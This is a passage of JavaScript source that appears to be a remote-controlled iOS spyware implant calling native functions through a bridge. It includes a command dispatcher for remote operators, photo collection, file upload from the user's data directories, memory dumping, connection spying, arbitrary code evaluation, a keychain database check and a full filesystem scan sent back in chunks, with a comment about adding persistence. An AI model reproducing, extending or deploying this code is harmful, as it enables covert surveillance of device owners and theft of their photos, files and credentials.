4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || 